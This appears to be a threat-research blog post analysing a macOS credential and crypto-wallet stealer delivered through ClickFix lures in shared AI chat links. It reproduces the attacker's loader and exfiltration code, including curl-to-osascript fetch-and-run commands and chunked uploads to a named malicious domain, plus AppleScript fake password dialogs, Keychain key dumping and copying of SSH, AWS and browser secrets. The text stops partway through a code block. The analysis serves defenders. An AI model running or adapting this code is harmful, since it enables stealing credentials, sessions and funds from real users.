Introducing InfOSAStealer: ClickFix Delivery, Fake System Dialogs, and the Quiet Trojanization of Hardware Wallet Software

This article goes through the analysis of an interesting attack Clickfix attack starting from a shared LLM chat and ending with the malware’s potential financial impact through wallet trojanization.

Bleon Proko

Bleon Proko

Intro

ClickFix Phishing has been a problem lately, especially in regards to AI tool installation. There have been many cases of Threat Actors using AI Tool installation instructions to trick users and make them execute malicious commands. This has become even worse, as users now are trusting AI Agents to provide information for them and instruct on the commands they need to execute.

What makes ClickFix so effective is that it bypasses most of the controls organizations lean on. There's no malicious attachment and no drive-by download, just a page that convinces the victim to copy a command and run it themselves. AI tooling makes an ideal lure for this, because trust for them makes the user less suspicious, and pasting a one-liner into a terminal or Run dialog is exactly what a legitimate setup guide would ask for.

This article goes through a phishing attempt happening at Exaforce and an analysis of the malware that would have been executed on the target's machine.

The flow of attack

Relying on the fact the users trust the vendor and therefore the content it contains, the attackers do not send phishing emails or communication of any sort anymore, but rather share Claude conversations which contain a malicious link on them and wait for potential victims. ZScaler wrote about this same case earlier this month as well. In the end, copying and pasting from an agent’s response is the 2020s equivalent of copying and pasting from StackOverflow.

The flow of attack then becomes:

  • A user searches online for a Claude Code installation instruction or documentation
  • They stumble into a shared Claude Conversation instructing on how to install the tool using a one liner. The domain being legitimate, as well as it being the response of an agent, makes this content seem legitimate, while not being so.
  • After the user is phished through a ClickFix and the command executes successfully, running an encoded loader on the machine
  • The loader then downloads the malware as a script passed to osascript for execution

Malicious code

Initial Access

The first step, as we said, was a user searching online for a way to install Claude. One of the search results was https://claude.ai/share/300f9c7b-f556-4a66-b92c-0c8c351ffe15, a shared Claude conversation which contained the same question the user was asking.

The conversation contained a curl command that downloaded and executed the malicious script. The URL of the loader script is  http://orangecountyfulfillment.com/curl/cb8aba940af2d1c05d800c73eefd598505b7377b288bc6cd39b0c97ece62b171

One constant thing we noticed is that the domain for all the scripts to be downloaded is the same (orangecountyfulfillment.com), but each one will be contained inside of a specific directory, based on what the task will be (curl, ledger, etc)

They seem to also use tokens and API keys to prevent crawling, though the value seems constant and is provided on the scripts.

Malware Loader

The loader itself is a double encoded zsh file, encoded on GZ and then Base64. The output from it is then passed into an eval command.

#!/bin/zshd27810=$(base64 -D <<'PAYLOAD_m196021176028808' | gunzipH4sIANNJYmoAA91WW2/bNhR+9684VRVDasBIsi1fkqhp0AVoUKQdkgYL1hUGRVI2Yd1mUYvjtv99lCVLlGxge9nL+CLz8ON37od+/cryeWxts2WPYhYl8TzIYyJ4EhsmfO+BXGzDCFxalP1lxXkYNrK3R2SDjjBMCA6BJhHmsaclaxwvGEnyWLwEeRjwMIxYLM5IEmkKXCQrJtHEn2Ifz0Y2DgbUIbZLp7ZNJkPGAurOpq7t+pPhZOIPplOfjAkdznybzCaMsPHAdyaOSolTPl+xF0+bUToau3QwJhM6HfsjPA5cZ4RH/mjsDwYzV70k7WOeZokotZIMh8liwePF2ZanJYgH8BX014AWAmz4dgFiyeLdSbFIvg4BrQBlgFCEN0jwiMHQhj9qSLHQB9AeM7ZG1wsZiXO4S7YyKthyz2ww7jDhsUiy5QXcxoKFIAXw+QGewLHnjjufmHCdpiH7jfkfubDc4eRsONaOaJDuI+n+OehVILogbSlEem5Zepkqi77EOOLkSmyop+/y0U+f5U9Hgx8gg5GRNU9FmfcwY/9brw/dDbiS/CtAMTuSfLbhApwu/iu8AhSApheFJZl/FPus3n/rsqyZyNdxm6eszPcfHj99nD/c/n7j6Ybh2PBGxmYwqj6mqUDvrp/m9zdf7m9vHrypIs/TMMF0zqWnBsWCwelJZiLdSFIWZ1kIslUpoCXbwFTt6sJqRpYJ6PfXn375fFd9zFb7ChzOM74ty6LZSk2ZwKKIwcm2drtDXiIInNSBMZUAouJew7gLYluA2J9FQv59LMvLZJnHq6yIJhgNHZwqoQYEjgmWKmlFmnv2bve8lFaDJOJw2WKX8As5C2ubymtJEGRMFJq5zF9DXnE3wB1JFcgGVoOkwpJKGt1A4a2SAGkA9PstIkP1FlUMB6qznBCWZZWDjRwLwaJUeE4tr52vjuDSU0uwUF+RgefJRHVCUqyiKeckoYV1lMrEe/tS8TPPgWzFU0+vXN29JZ6u+Nsqp06/F0udUE/w6+OXIxiEZEdgJF9GvH6Bd+gY5D+fYHst/zjFSovrYetMu9N2B0igicuR42fQTr7Xkf95TEd3Wi7k1Ljycx5S5ZVQxkr9s1+mh8eUbTyd99sdp+5a08BsWVDkbV4Mh1zeuWodlaNBVxDVFJDFptc+yXdaVod9IA2FfJ+OTIz92te+0zppvXr7ZRhV1Z+emuYhUchYCrLjhrJD9+3xBgYdaDWcikWTuFEivZRtddA8Bza3Jl2HUM6Y2rSafB0pr1JPobB7P3tSa+ePoUS+06DfKN49dnavjkj1+AX8bxxoCVVdCgAAPAYLOAD_m196021176028808)eval "$d27810"

The script gives us the first important information. The domain, token and API key to access the other files. If not provided, the attacker’s server returns a 520 response code.

local domain="orangecountyfulfillment.com"local
token="cb8aba940af2d1c05d800c73eefd598505b7377b288bc6cd39b0c97ece62b171"local 
api_key="9dd465d26c7d86b4a6f514a4b46b2295"

On the URLs we see two URIs where the

  • /dynamic, from where the
  • /gate

Each curl command has the UserAgent and the API Key headers passed to them while the token is passed as a URL parameter. The UserAgent, aside from filtering, can also be added to make the traffic seem legitimate MacOS browsing.

curl -k -s --max-time 30 \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
  -H "api-key: $api_key" \
  "http://$domain/dynamic?txd=$token"

The domain itself points into an IP of 104.21.30.162, which seems to be a CloudFlare IP Address.

The command also asked to include the user’s password in it, justifying it as needing to execute high privileged commands. If the password is provided, it will be sent to the attacker alongside the malware download request. Otherwise, just the malware itself is downloaded and executed.

if [ $# -gt 0 ]; then
    curl -k -s --max-time 30 \
        -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
        -H "api-key: $api_key" \
        "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
else
    curl -k -s --max-time 30 \
        -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
        -H "api-key: $api_key" \
        "http://$domain/dynamic?txd=$token" | osascript
fi

On either case, the script downloaded is passed to osascript and outputted on the path /tmp/osalogging.zip, provided on the script. The script then uploads the zip file on the domain through a PUT request to /gate, in 10MB chunks.

local CHUNK_SIZE=$((10 * 1024 * 1024))
local MAX_RETRIES=8
local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM)
local total_size
total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then
    return 1
fi
local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
local i=0
while (( i < total_chunks )); do
    local offset=$((i * CHUNK_SIZE))
    local chunk_size=$CHUNK_SIZE
    (( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))
    local success=0
    local attempt=1
    while (( attempt <= MAX_RETRIES && success == 0 )); do
        http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \
            curl -k -s -X PUT \
            --data-binary @- \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
            -H "api-key: $api_key" \
            --max-time 180 \
            -o /dev/null \
            -w "%{http_code}" \
            "http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null)
        curl_status=$?
        if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
            success=1
        else
            ((attempt++))
            sleep $((3 + attempt * 2))
        fi
    done
    if (( success == 0 )); then
        return 1
    fi
    ((i++))
done
rm -f "$file"
return 0

AppleScript InfOsaStealer

The script passed to osascript is a large AppleScript code. It contains code from utility scripts, such as directory creating and listing, file read, write, etc, to credential gathering, screen capture, password phishing, crypto wallet steal and persistence.

The code is split into 8 section:

  • Utility / Helper Functions
  • Password Harvesting
  • Browser Data Exfiltration
  • Cryptocurrency Wallet Theft
  • Broader System Data Collection
  • App Trojanization (Supply Chain Attack on Hardware Wallets)
  • Persistence Mechanism
  • Exfiltration and Cleanup

The script’s execution flow starts with an FDA (Full Disk Access) check

  1. As soon as it executes, the script does a FDA check by listing ~/Library/Cookies/. If the command executes correctly, it continues with the rest of the execution, otherwise, the script prompts the user restart a terminal with enabled FDA. In either case, after successful FDA Access, the script persist using terminal startup file (~/.zshrc).
  1. In order to prevent several executions of itself from different terminals opening at the same time, the script puts a lock file on a directory, with which tests by trying to create the directory. If directory creation fails, due to the directory existing, the script terminates. Otherwise, it means the script runs for the first time, so the directory is created and continuous execution is made.
  1. The script then requests the user to provide a password using a prompt. That password is then validated using dscl
  1. Having retrieved the password, the script starts collecting information from browsers, keychains, cloud credentials, chat tools, etc.
  1. The script attempts to trojanize Ledger and Trezor apps, by adding their own instead of the target’s.
  1. Lastly, the script sets up persistence by an agent downloaded by the script, as well as screen capture.

All the output is passed into the initial loader, which exfiltrates them through the PUT request we analyzed last section.

Utility / Helper Functions

This section contains some fundamental scripts that the malware relies on. Rather than scattering repetitive file-handling logic throughout the script, the author built a several reusable handlers covering file tampering, directory creation, path parsing, and directory traversal. Each function is wrapped in a try block so that any individual failure does not affect the rest of the script, making the malware able to adapt against environments where paths or permissions may not be available.

  • filesizer(paths): Gets file size via mdls
  • mkdir(someItem): Creates directories recursively
  • FileName(filePath): Get only the name of the file
  • BeforeFileName(filePath): Get the directory part of the path, without the filename
  • writeText(textToWrite, filePath)
  • readwrite(path_to_file, path_as_save)
  • readwriteSafe(path_to_file, path_as_save)
  • isDirectory(someItem): Check if a path is a directory
  • GrabFolderLimit(sourceFolder, destinationFolder)
  • GrabFolder(sourceFolder, destinationFolder)
  • grabPlugins(paths, savePath, pluginList, index)

FDA (Full Disk Access) approval prompt

The FDA check at the very top of the script acts as a branching gate that determines which execution path the rest of the payload takes based on whether the process has been granted Full Disk Access. It check so, by running the ls -al ~/Library/Cookies/ command. If the command succeeds, Full Disk Access is available and the script falls through to the main data collection routines without any visible indication to the user.

If the command fails with an error (because the process does not have FDA), the script installs the .zshrc persistence and then displays a fake system dialog using the real Apple FileVault padlock icon to appear legitimate. The dialog title reads "Full Disk Access required!" and the body instructs the user to "allow access and reopen the Terminal", socially engineering them into granting the very permission that the malware needs to function fully.

Immediately after the user clicks Continue, System Preferences opens to the Privacy and Security settings pane with Full Disk Access pre-selected, making it trivially easy for the victim to click the toggle and grant the permission.

try
    do shell script "ls -al ~/Library/Cookies/"
on error
    -- No FDA — install .zshrc persistence hook and prompt user
    set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/FileVaultIcon.icns" as POSIX file
    display dialog return & "Please allow access and reopen the Terminal" with title "Full Disk Access required!" buttons {"Continue"} default button "Continue" with icon imagePath
    do shell script "open \"x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles\""
    return
end try

Social engineering the user to give the password

Chromium-based browsers encrypt their credential databases using a key derived from the macOS Keychain, and the Keychain itself is locked behind the user's login password. Without it, the stolen Login Data and cookie databases are just encrypted blobs the attacker cannot read.

To get the password of the user, the attacker uses the function getpwd. It will pop out a social engineering dialog loop that impersonates "System Preferences" with a fake locked-padlock icon, looping until a valid password is entered.

on getpwd(username, writemind, provided_password)
    try
        if provided_password is not equal to "" then
            if checkvalid(username, provided_password) then
                writeText(provided_password, writemind & "Password")
                grabAllStorageKeys(provided_password, writemind)
                return provided_password
            end if
            if "" is equal to "silent_loader" then
                writeText(provided_password, writemind & "Password")
                try
                    grabAllStorageKeys(provided_password, writemind)
                end try
                return provided_password
            end if
        end if
        if checkvalid(username, "") then
            return ""
        else
            if "" is equal to "silent_loader" then
                return ""
            end if
            repeat
                set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
                set result to display dialog "You should update the settings to launch the application." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set password_entered to text returned of result
                if checkvalid(username, password_entered) then
                    writeText(password_entered, writemind & "Password")
                    grabAllStorageKeys(password_entered, writemind)
                    return password_entered
                end if
            end repeat
        end if
    end try
    return ""
end getpwd

The credentials ate then validated on checkvalid. The checkvalid function calls dscl . authonly with the provided username and password to verify credentials against the local macOS directory service without requiring administrator privileges or spawning any visible authentication dialog.

on checkvalid(username, password_entered)
    try
        set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
        if result is not equal to "" then
            return false
        else
            return true
        end if
    on error
        return false
    end try
end checkvalid

Keychain Password Harvesting

Through grabAllStorageKeys function, the script extracts the encryption keys that Chromium-based browsers use to protect saved passwords stored on disk. Each browser registers a unique entry in the macOS Keychain under a service name like "Chrome Safe Storage" or "Brave Safe Storage", and the value stored there is the master encryption key for that browser's Login Data SQLite database.

Upon retrieving a valid password from the user, the malware will try to extracts browser Safe Storage keys from the macOS Keychain through function grabAllStorageKeys. The browser collecting code is stored behind an encoded shell script.

$ do shell script "echo IyEvYmluL3NoCkdPVF9LRVk9MAoKS0VZPSQoc2VjdXJpdHkgZmluZC1nZW5lcmljLXBhc3N3b3JkIC13IC1zICJDaHJvbWUgU2FmZSBTdG9yYWdlIiAyPi9kZXYvbnVsbCkKaWYgWyAtbiAiJEtFWSIgXTsgdGhlbiBHT1RfS0VZPTE7IHByaW50
--snip--
IkNocm9tZSBEZXYgU2FmZSBTdG9yYWdlIikgcHJpbnQgcCA+IChESVIgIkNocm9tZURldlN0b3JhZ2UiKQogICAgZWxzZSBpZiAoc3ZjPT0iQ29jQ29jIFNhZmUgU3RvcmFnZSIpIHByaW50IHAgPiAoRElSICJDb2Njb2NTdG9yYWdlIikKICAgIHN2Yz0iIgogIH0KfScKZmk= | base64 -D > " & quoted form of shPath

The Base64 encoded shell command will search Keychain for credential of browsers installed on the machine and which have stored passwords.

#!/bin/sh
GOT_KEY=0

KEY=$(security find-generic-password -w -s "Chrome Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}ChromeStorage"; fi

KEY=$(security find-generic-password -w -s "Brave Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}BraveStorage"; fi

KEY=$(security find-generic-password -w -s "Microsoft Edge Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}EdgeStorage"; fi

KEY=$(security find-generic-password -w -s "Vivaldi Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}VivaldiStorage"; fi

KEY=$(security find-generic-password -w -s "Opera Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}OperaStorage"; fi
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}OperaGXStorage"; fi

KEY=$(security find-generic-password -w -s "Yandex Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}YandexStorage"; fi

KEY=$(security find-generic-password -w -s "Arc Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}ArcStorage"; fi

KEY=$(security find-generic-password -w -s "Chromium Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}ChromiumStorage"; fi

KEY=$(security find-generic-password -w -s "Chrome Beta Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}ChromeBetaStorage"; fi

KEY=$(security find-generic-password -w -s "Chrome Canary Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}ChromeCanaryStorage"; fi

KEY=$(security find-generic-password -w -s "Chrome Dev Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}ChromeDevStorage"; fi

KEY=$(security find-generic-password -w -s "CocCoc Safe Storage" 2>/dev/null)
if [ -n "$KEY" ]; then GOT_KEY=1; printf '%s' "$KEY" > "${1}CoccocStorage"; fi

if [ "$GOT_KEY" -eq 0 ]; then
    security unlock-keychain -p "$(cat /tmp/.kpwd)" ~/Library/Keychains/login.keychain-db 2>/dev/null
    security dump-keychain -d ~/Library/Keychains/login.keychain-db 2>/dev/null | awk -v DIR="$1" '{
  if (match($0, /"svce"<blob>="[^"]+/)) {
    s=substr($0,RSTART,RLENGTH); sub(/"svce"<blob>="/, "", s); svc=s
  }
  if ($0 ~ /^password: "/) {
    p=substr($0,12,length($0)-12)
    if (svc=="Chrome Safe Storage") print p > (DIR "ChromeStorage")
    else if (svc=="Brave Safe Storage") print p > (DIR "BraveStorage")
    else if (svc=="Microsoft Edge Safe Storage") print p > (DIR "EdgeStorage")
    else if (svc=="Vivaldi Safe Storage") print p > (DIR "VivaldiStorage")
    else if (svc=="Opera Safe Storage") print p > (DIR "OperaStorage")
    else if (svc=="Opera Safe Storage") print p > (DIR "OperaGXStorage")
    else if (svc=="Yandex Safe Storage") print p > (DIR "YandexStorage")
    else if (svc=="Arc Safe Storage") print p > (DIR "ArcStorage")
    else if (svc=="Chromium Safe Storage") print p > (DIR "ChromiumStorage")
    else if (svc=="Chrome Beta Safe Storage") print p > (DIR "ChromeBetaStorage")
    else if (svc=="Chrome Canary Safe Storage") print p > (DIR "ChromeCanaryStorage")
    else if (svc=="Chrome Dev Safe Storage") print p > (DIR "ChromeDevStorage")
    else if (svc=="CocCoc Safe Storage") print p > (DIR "CoccocStorage")
    svc=""
  }
}'

Browser Dumping

Browser data exfiltration targets thirteen Chromium-based browsers and four Firefox-family browsers in a single pass. For each browser, the malware enumerates every user profile (named Default, Profile 1, Profile 2, and so on) to ensure it captures data from users who have configured multiple browser identities. The files it targets within each profile include Login Data SQLite database contains saved credentials encrypted with the Safe Storage key already extracted in section two, and the Cookies database contains active session tokens that can be used to impersonate the user on websites without needing a password.

Chromium Secret Dump

The Chromium handler walks through a map of thirteen browser names and their corresponding data directory paths, covering Chrome, Brave, Edge, Vivaldi, Opera, Opera GX, Yandex, Arc, Chromium, Chrome Beta, Chrome Canary, Chrome Dev, and CocCoc.

set chromiumMap to {}
set chromiumMap to chromiumMap & {{"Yandex",      library & "Yandex/YandexBrowser/"}}
set chromiumMap to chromiumMap & {{"Chrome",      library & "Google/Chrome/"}}
set chromiumMap to chromiumMap & {{"Brave",       library & "BraveSoftware/Brave-Browser/"}}
set chromiumMap to chromiumMap & {{"Edge",        library & "Microsoft Edge/"}}
set chromiumMap to chromiumMap & {{"Vivaldi",     library & "Vivaldi/"}}
set chromiumMap to chromiumMap & {{"Opera",       library & "com.operasoftware.Opera/"}}
set chromiumMap to chromiumMap & {{"OperaGX",     library & "com.operasoftware.OperaGX/"}}
set chromiumMap to chromiumMap & {{"Chrome Beta", library & "Google/Chrome Beta/"}}
set chromiumMap to chromiumMap & {{"Chrome Canary", library & "Google/Chrome Canary"}}
set chromiumMap to chromiumMap & {{"Chromium",    library & "Chromium/"}}
set chromiumMap to chromiumMap & {{"Chrome Dev",  library & "Google/Chrome Dev/"}}
set chromiumMap to chromiumMap & {{"Arc",         library & "Arc/User Data"}}
set chromiumMap to chromiumMap & {{"Coccoc",      library & "CocCoc/Browser/"}}

For each browser, it lists the contents of the user data directory and processes any folder whose name is either Default or starts with Profile, which covers both single-profile and multi-profile browser configurations. For each profile, it iterates over a fixed list of target files including Network/Cookies, Cookies, Web Data, and Login Data, copying each one into the staging directory under a path that encodes the browser name and profile.

set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}

When it encounters the Local Extension Settings or IndexedDB path entries in its list, it executes  grabPlugins instead of copying the whole directory, which filters for only the targeted extension IDs from its hardcoded whitelist of roughly forty extensions. The extension whitelist in this function specifically covers password managers, two-factor authentication apps, and browser-based credential tools rather than crypto wallets, which are handled separately in section four.

$ cat browserextensions.txt | python3 findextension.py 
eiaeiblijfjekdanodkjadfinkhbfgcd  ->  NordPass® Password Manager &amp; Digital Vault
aeblfdkhhhdcdjpifhhbdiojplfjncoa  ->  1Password – Password Manager
bfogiafebfohielmmehodmfbbebbbpei  ->  Keeper® Password Manager &amp; Digital Vault
nngceckbapebfimnlniiiahkandclblb  ->  Bitwarden Password Manager
fdjamakpfbbddfjaooikfcpabgjikfkp  ->  Chrome Web Store
hdokiejnpimakedhajhdlcegeplioahd  ->  LastPass: Free Password Manager
pnlccmojcmeohlpggmfnbbiapkmbliob  ->  RoboForm Password Manager
ghmbeldphafepmbegfdlkpapadhbakde  ->  Proton Pass: Free Password Manager
kmcfomidfpdkfieipokbalgegidffkal  ->  Enpass Password Manager
bnfdmghkeppfadphbnkjcicejfepnbfe  ->  Sticky Password manager &amp; safe
caljgklbbfbcjjanaijlacgncafpegll  ->  Avira Password Manager
folnjigffmbjmcjgmbbfcpleeddaedal  ->  LogMeOnce
igkpcodhieompeloncfnbekccinhapdb  ->  Zoho Vault - Password Manager
admmjipmmciaobhojoghlmleefbicajg  ->  Norton Password Manager
ehpbfbahieociaeckccnklpdcmfaeegd  ->  Chrome Web Store
epanfjkfahimkgomnigadpkobaefekcd  ->  IronVest Extension
didegimhafipceonhjepacocaffmoppf  ->  Passbolt - Open source password manager
oboonakemofpalcgghocfoadofidjkkk  ->  KeePassXC-Browser
jgnfghanfbjmimbdmnjfofnbcgpkbegj  ->  KeePassHelper Password Manager
mmhlniccooihdimnnjhamobppdhaolme  ->  Kee - Password Manager
dbfoemgnkgieejfkaddieamagdfepnff  ->  2FAS Auth - Two Factor Authentication
bhghoamapcdpbohphigoooaddinpkbai  ->  Authenticator
nngceckbapebfimnlniiiahkandclblb  ->  Bitwarden Password Manager
lojeokmpinkpmpbakfkfpgfhpapbgdnd  ->  Chrome Web Store
ibpjepoimpcdofeoalokgpjafnjonkpc  ->  TOTP Authenticator
gmohoglkppnemohbcgjakmgengkeaphi  ->  2FA Authenticator
hdokiejnpimakedhajhdlcegeplioahd  ->  LastPass: Free Password Manager
oboonakemofpalcgghocfoadofidjkkk  ->  KeePassXC-Browser
dckgbiealcgdhgjofgcignfngijpbgba  ->  Open Two-Factor Authenticator
gmegpkknicehidppoebnmbhndjigpica  ->  Web2FA - Authenticator
eiokpeobbgpinbmcanngjjbklmhlepan  ->  MFAuth - 2FA Authenticator
odfkmgboddhcgopllebhkbjhokpojigd  ->  Authenticator Extension
ppnbnpeolgkicgegkbkbjmhlideopiji  ->  Microsoft Single Sign On
cejfhijdfemlohmcjknpbeaohedoikpp  ->  Secure TOTP Authenticator - 2FA Code Manager - MFA
nmhjblhloefhbhgbfkdgdpjabaocnhha  ->  mini authenticator
iklgijhacenjgjgdnpnohbafpbmnccek  ->  2! Authenticator
ppkkcfblhfgmdmefkmkoomenhgecbemi  ->  Authenticator for PC
lgndjfkadlbpaifdpbbobdodbaiaiakb  ->  Authenticator App
bbphmbmmpomfelajledgdkgclfekilei  ->  Authenticator app
bnfooenhhgcnhdkdjelgmmkpaemlnoek  ->  Auto 2FA

Gecko Browsers

The Gecko handler mirrors the Chromium handler's logic but applies it to Firefox-based browsers, which use a completely different file and profile structure from Chromium. Firefox stores its credentials and session data in SQLite databases under named profile folders that contain the string "Profile" or end in ".default". The handler identifies these by inspecting the Profiles directory for each browser in its map. The four browsers targeted are Firefox, Zen Browser, LibreWolf, and Waterfox, covering both the mainstream and privacy-focused forks of the Firefox engine.

set geckoMap to {}
set geckoMap to geckoMap & {{"Firefox",   library & "Firefox/Profiles/"}}
set geckoMap to geckoMap & {{"Zen",       library & "zen/Profiles/"}}
set geckoMap to geckoMap & {{"LibreWolf", library & "LibreWolf/Profiles/"}}
set geckoMap to geckoMap & {{"Waterfox",  library & "Waterfox/Profiles/"}}

For each matching profile, it copies a list of files covering cookies, form history, the key database (key4.db), browsing history, saved logins (logins.json and logins-backup.json), and the certificate database (cert9.db). For each SQLite database it also copies the associated WAL (write-ahead log) and SHM (shared memory) files, which capture any transactions that were in progress at the time of theft and would otherwise be missed by copying only the main database file.

set filesToGrab to {
    "/cookies.sqlite",
    "/cookies.sqlite-wal",
    "/cookies.sqlite-shm",
    "/formhistory.sqlite",
    "/formhistory.sqlite-wal",
    "/formhistory.sqlite-shm",
    "/key4.db", 
    "/places.sqlite",
    "/places.sqlite-wal",
    "/places.sqlite-shm",
    "/signons.sqlite", 
    "/cert9.db",
    "/logins.json",
    "/logins-backup.json"
}

It is in this handler though we see some Russian comments.

Translation: Simple copying of all important files (including WAL/SHM)
-- Простое копирование всех важных файлов (включая WAL/SHM)

Translation: Removed the fragile SafeSQLiteCopy (which often crashed when Firefox was running)
-- Убрана хрупкая SafeSQLiteCopy (часто падала когда Firefox запущен)

Broader System Data Collection

Beyond browsers and wallets, the malware collect other information potentially stored on the macOS system. It searches Telegram session files, macOS Keychain databases, cloud and developer credential files, running process information, and a broad sweep of sensitive file types from the user's Desktop, Documents, and Downloads folders.

System profiling and victim info file

The info tool is used to build a metadata of the compromised system. It grabs

  • The username of the machine
  • The version of the malware as a hardcoded string 1.1.2_release (x64_86 & ARM). In this we see a typo at the arch. It should be x86_64 , not x64_86
  • The Build Tag, as static string Build Tag: Build 5
  • A hardcoded IP address (likely identifying the affiliate or campaign instance),
  • The plaintext login password recovered in before on the loader
writeText(username, writemind & "Username")
writeText("1.1.2_release (x64_86 & ARM)", writemind & "Version")

try
    writeText("Build Tag: Build 5\n", writemind & "info")
    writeText("Version: 1.1.2_release (x64_86 & ARM)\n", writemind & "info")
    writeText("IP: 100.53.137.34\n\n", writemind & "info")
    writeText("Username: " & username, writemind & "info")
    writeText("\nPassword: " & password_entered & "\n\n", writemind & "info")
    --snip--
end try

Three system_profiler commands are then run to collect hardware and software inventory.  SPSoftwareDataType gets the macOS version and installed software, SPHardwareDataType retrieves the CPU model, serial number, RAM, and other hardware specifics, and SPDisplaysDataType retrieves the connected displays and GPU configuration.

try
    --snip--
    set softwareInfo to (do shell script "system_profiler SPSoftwareDataType")
    set hardwareInfo to (do shell script "system_profiler SPHardwareDataType")
    set displaysInfo to (do shell script "system_profiler SPDisplaysDataType")
    set result to softwareInfo & linefeed & hardwareInfo & linefeed & displaysInfo
    writeText(result, writemind & "info")
end try

Shell profile and history files

Another information the attacker is gathering is the shell profile and history files from the user’s homefolder. They include /.zshrc, /.zsh_history and /.bash_history, as well as the Git Config file /.gitconfig, for potential Git information stored.

set dotFiles  to {"/.zshrc", "/.zsh_history", "/.bash_history", "/.gitconfig"}
set saveNames to {"Profile/.zshrc", "Profile/.zsh_history", "Profile/.bash_history", "Profile/.gitconfig"}
repeat with i from 1 to count of dotFiles
    readwriteSafe(profile & item i of dotFiles, writemind & item i of saveNames)
end repeat

Telegram

The Telegram handler copies the entire tdata/ folder from Telegram Desktop's Application Support directory using the GrabFolder function. The tdata/ folder contains Telegram's session files, which store the victim's active authentication state and allow an attacker to import the session on a different device and impersonate the victim without ever knowing their password or two-factor code.

on Telegram(writemind, library)
    try
        GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
    end try
end Telegram

Keychains

The Keychains handler copies all files matching the *.keychain-db pattern from the user's ~/Library/Keychains/ directory. The primary target here is login.keychain-db, which is the user's default keychain and stores Wi-Fi passwords, application credentials, website passwords saved by Safari, certificate private keys, and secure notes. With the victim's login password already harvested in section two, the attacker can unlock and fully decrypt this keychain offline using tools like chainbreaker or macOS's own security command.

on Keychains(writemind)
    try
        do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
    end try
end Keychains

Cloud Credential grabbing

The CloudKeys handler copies the contents of ~/.ssh/, ~/.aws/, and ~/.kube/ from the user's home folder, therefore trying to access SSH credentials, AWS stored credentials and Kubernetes cluster configurations, in hopes of credentials on them.

on CloudKeys(writemind)
    try
        do shell script "cp -r ~/.ssh " & quoted form of (POSIX path of writemind)
    end try
    try
        do shell script "cp -r ~/.aws " & quoted form of (POSIX path of writemind)
    end try
    try
        do shell script "cp -r ~/.kube " & quoted form of (POSIX path of writemind)
    end try
end CloudKeys

Processes

The Processes handler uses two macOS command-line tools to capture a snapshot of what is running on the victim's machine at the time of infection. The lsappinfo list command enumerates all running GUI applications with their bundle identifiers, display names, and process IDs, giving the attacker a clear picture of what software the victim uses day to day. The ps ax command provides a complete list of every running process including command-line arguments, covering background processes, daemons, and terminal sessions that lsappinfo would miss.

on Processes(writemind)
    try
        do shell script "mkdir -p " & quoted form of (writemind & "SystemInfo/")
    end try
    try
        do shell script "lsappinfo list > " & quoted form of (writemind & "SystemInfo/running_apps.txt")
    end try
    try
        do shell script "ps ax > " & quoted form of (writemind & "SystemInfo/processes.txt")
    end try
end Processes

Filegrabber

The Filegrabber family of functions looks for files with extensions associated with sensitive content, covering pdf, docx, doc, wallet, key, keys, db, txt, seed, rtf, kdbx, pem, and ovpn.

set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}

The base Filegrabber function uses the macOS Finder automation API to copy files and also specifically grabs Safari's Cookies.binarycookies file and the Apple Notes SQLite database, including its WAL and SHM journal files for completeness.

try
    duplicate file ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:Cookies.binarycookies") to folder (destinationSafariPath) with replacing
end try
try
    set notesDB to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
